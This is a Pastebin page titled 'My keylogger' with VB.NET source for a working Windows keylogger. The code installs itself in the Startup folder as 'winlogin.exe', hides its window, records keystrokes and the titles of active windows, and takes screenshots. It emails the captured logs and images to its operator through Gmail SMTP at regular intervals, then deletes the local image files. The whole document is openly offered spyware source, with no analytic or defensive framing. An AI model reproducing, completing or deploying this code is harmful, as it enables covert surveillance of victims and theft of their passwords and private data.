Advertisement
Guest User

My keylogger

a guest
Mar 19th, 2010
462
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 9.44 KB | None | 0 0
  1. Imports System.IO
  2. Imports System.Net.Mail
  3. Public Class Form1
  4.     Dim caps As Boolean
  5.     Dim shift As Boolean
  6.     Dim result As Integer
  7.  
  8.  
  9.     Private Declare Function GetKeyState Lib "USER32" (ByVal vKey As Long) As Integer
  10.     Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
  11.     Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
  12.     Dim options(), text1, text2, text3 As String
  13.     Dim activewindow As String
  14.  
  15.     Private Sub killer()
  16.         Try
  17.  
  18.         Catch
  19.  
  20.  
  21.             Kill("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set0.jpeg")
  22.             Kill("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set1.jpeg")
  23.             Kill("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set2.jpeg")
  24.             Kill("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set3.jpeg")
  25.             Kill("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set4.jpeg")
  26.         End Try
  27.     End Sub
  28.    
  29.  
  30.     Dim vDirectory As String
  31.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  32.         killer()
  33.         ant.mofo()
  34.  
  35.         If Directory.Exists("C:\users\" & System.Environment.UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogin.exe") = False Then Directory.CreateDirectory("C:\users\" & System.Environment.UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\")
  36.         If System.IO.File.Exists("C:\users\" & System.Environment.UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogin.exe") = False Then FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\users\" & System.Environment.UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogin.exe")
  37.  
  38.         Timer2.Interval = (1 * 60 * 1000)
  39.  
  40.         Timer3.Interval = (1 * 60 * 1000 + 500)
  41.         Timer1.Start()
  42.         Timer2.Start()
  43.         Timer3.Start()
  44.         Timer4.Start()
  45.         Timer5.Start()
  46.  
  47.     End Sub
  48.     Private Function GetActiveWindowTitle() As String
  49.         Dim MyStr As String
  50.         MyStr = New String(Chr(0), 100)
  51.         GetWindowText(GetForegroundWindow, MyStr, 100)
  52.         MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
  53.         Return MyStr
  54.     End Function
  55.     Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
  56.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  57.         shift = GetAsyncKeyState(16)
  58.         caps = GetKeyState(20)
  59.         Dim i As Integer
  60.         For i = 65 To 90
  61.             result = GetAsyncKeyState(i)
  62.             If result = -32767 Then
  63.                 If caps = True Then
  64.                     If shift = True Then
  65.                         TextBox1.Text = TextBox1.Text + LCase(Chr(i))
  66.                     Else
  67.                         TextBox1.Text = TextBox1.Text + Chr(i)
  68.                     End If
  69.                 Else
  70.                     If shift = False Then
  71.                         TextBox1.Text = TextBox1.Text + LCase(Chr(i))
  72.                     Else
  73.                         TextBox1.Text = TextBox1.Text + Chr(i)
  74.                     End If
  75.                 End If
  76.                 result = 0
  77.             End If
  78.         Next i
  79.         If GetAsyncKeyState(32) = -32767 Then
  80.             TextBox1.Text = TextBox1.Text + " "
  81.         End If
  82.         If GetAsyncKeyState(8) = -32767 Then
  83.             TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
  84.         End If
  85.         If GetAsyncKeyState(9) = -32767 Then
  86.             TextBox1.Text = TextBox1.Text + "[TAB]"
  87.         End If
  88.         If GetAsyncKeyState(13) = -32767 Then
  89.             TextBox1.Text = TextBox1.Text + vbNewLine
  90.             If activewindow <> GetActiveWindowTitle() Then
  91.                 activewindow = GetActiveWindowTitle()
  92.                 TextBox1.Text = TextBox1.Text + activewindow + vbNewLine + vbNewLine + vbNewLine + vbNewLine
  93.             End If
  94.  
  95.  
  96.  
  97.  
  98.  
  99.         End If
  100.         If GetAsyncKeyState(17) = -32767 Then
  101.             TextBox1.Text = TextBox1.Text + "[CTRL]"
  102.         End If
  103.         If GetAsyncKeyState(27) = -32767 Then
  104.             TextBox1.Text = TextBox1.Text + "[ESC]"
  105.             If activewindow <> GetActiveWindowTitle() Then
  106.                 activewindow = GetActiveWindowTitle()
  107.                 TextBox1.Text = TextBox1.Text + activewindow + vbNewLine + vbNewLine + vbNewLine + vbNewLine
  108.             End If
  109.         End If
  110.         If GetAsyncKeyState(35) = -32767 Then
  111.             TextBox1.Text = TextBox1.Text + "[END KEY]"
  112.         End If
  113.         If GetAsyncKeyState(36) = -32767 Then
  114.             TextBox1.Text = TextBox1.Text + "[HOME]"
  115.             activewindow = GetActiveWindowTitle()
  116.             TextBox1.Text = TextBox1.Text + "[HomePage:" + activewindow + "]"
  117.         End If
  118.         If GetAsyncKeyState(46) = -32767 Then
  119.             TextBox1.Text = TextBox1.Text + "[DEL]"
  120.         End If
  121.         If GetAsyncKeyState(37) = -32767 Then
  122.             TextBox1.Text = TextBox1.Text + "[LeftButton]"
  123.         End If
  124.         If GetAsyncKeyState(38) = -32767 Then
  125.             TextBox1.Text = TextBox1.Text + "[UpButton]"
  126.         End If
  127.         If GetAsyncKeyState(39) = -32767 Then
  128.             TextBox1.Text = TextBox1.Text + "[RightButton]"
  129.         End If
  130.         If GetAsyncKeyState(40) = -32767 Then
  131.             TextBox1.Text = TextBox1.Text + "[DownButton]"
  132.         End If
  133.         If GetAsyncKeyState(1) = -32767 Then
  134.  
  135.             If activewindow <> GetActiveWindowTitle() Then
  136.                 activewindow = GetActiveWindowTitle()
  137.                 TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + "[" & activewindow & "]" + vbNewLine + vbNewLine
  138.             End If
  139.         End If
  140.         If GetAsyncKeyState(2) = -32767 Then
  141.  
  142.             If activewindow <> GetActiveWindowTitle() Then
  143.                 activewindow = GetActiveWindowTitle()
  144.                 TextBox1.Text = TextBox1.Text + vbNewLine + "[" & activewindow & "]" + vbNewLine + vbNewLine
  145.             End If
  146.         End If
  147.     End Sub
  148.     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  149.         Try
  150.  
  151.        
  152.             Dim MyMailMessage As New MailMessage
  153.             MyMailMessage.From = New MailAddress("mail")
  154.             MyMailMessage.To.Add("mail")
  155.             MyMailMessage.Subject = ("Death logz")
  156.             MyMailMessage.Body = (TextBox1.Text)
  157.             Dim SMTPServer As New SmtpClient("smtp.gmail.com")
  158.             SMTPServer.Port = 587
  159.             SMTPServer.Credentials = New System.Net.NetworkCredential("mail", "pass")
  160.             SMTPServer.EnableSsl = True
  161.  
  162.             SMTPServer.Send(MyMailMessage)
  163.  
  164.             Dim bounds As Rectangle
  165.             Dim screenshot As System.Drawing.Bitmap
  166.             Dim graph As Graphics
  167.             bounds = Screen.PrimaryScreen.Bounds
  168.             screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
  169.             graph = Graphics.FromImage(screenshot)
  170.             graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
  171.             PictureBox1.Image = screenshot
  172.  
  173.             PictureBox1.Image.Save("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set" + Label4.Text + ".jpeg")
  174.             Label4.Text = Label4.Text + 1
  175.         Catch ex As Exception
  176.  
  177.         End Try
  178.         If Label4.Text > 5 Then
  179.             Try
  180.                 Dim mail As New MailMessage()
  181.                 Dim mailatt1 As New Attachment("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set0.jpeg")
  182.  
  183.                 Dim mailatt2 As New Attachment("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set1.jpeg")
  184.                 Dim mailatt3 As New Attachment("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set2.jpeg")
  185.                 Dim mailatt4 As New Attachment("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set3.jpeg")
  186.                 Dim mailatt5 As New Attachment("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set4.jpeg")
  187.                 Dim SmtpServer1 As New SmtpClient
  188.                 SmtpServer1.Credentials = New Net.NetworkCredential("mail", "pass")
  189.                 SmtpServer1.Port = 587
  190.                 SmtpServer1.Host = "smtp.gmail.com"
  191.                 SmtpServer1.EnableSsl = True
  192.                 SmtpServer1.EnableSsl = True
  193.                 mail.To.Add("mail")
  194.                 mail.From = New MailAddress("mail")
  195.                 mail.Subject = (My.Computer.Name + " SCREEN SHOTS")
  196.  
  197.                 mail.Attachments.Add(mailatt1)
  198.                 mail.Attachments.Add(mailatt2)
  199.                 mail.Attachments.Add(mailatt3)
  200.                 mail.Attachments.Add(mailatt4)
  201.                 mail.Attachments.Add(mailatt5)
  202.  
  203.                 SmtpServer1.Send(mail)
  204.  
  205.                 Label4.Text = 1
  206.  
  207.             Catch ex As Exception
  208.  
  209.             End Try
  210.  End If
  211.  
  212.  
  213.  
  214.  
  215.  
  216.  
  217.     End Sub
  218.     Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
  219.         TextBox1.Clear()
  220.     End Sub
  221.  
  222.     Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
  223.         Me.Hide()
  224.         Me.Opacity = 0
  225.         Me.Visible = False
  226.     End Sub
  227.  
  228.  
  229.    
  230. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement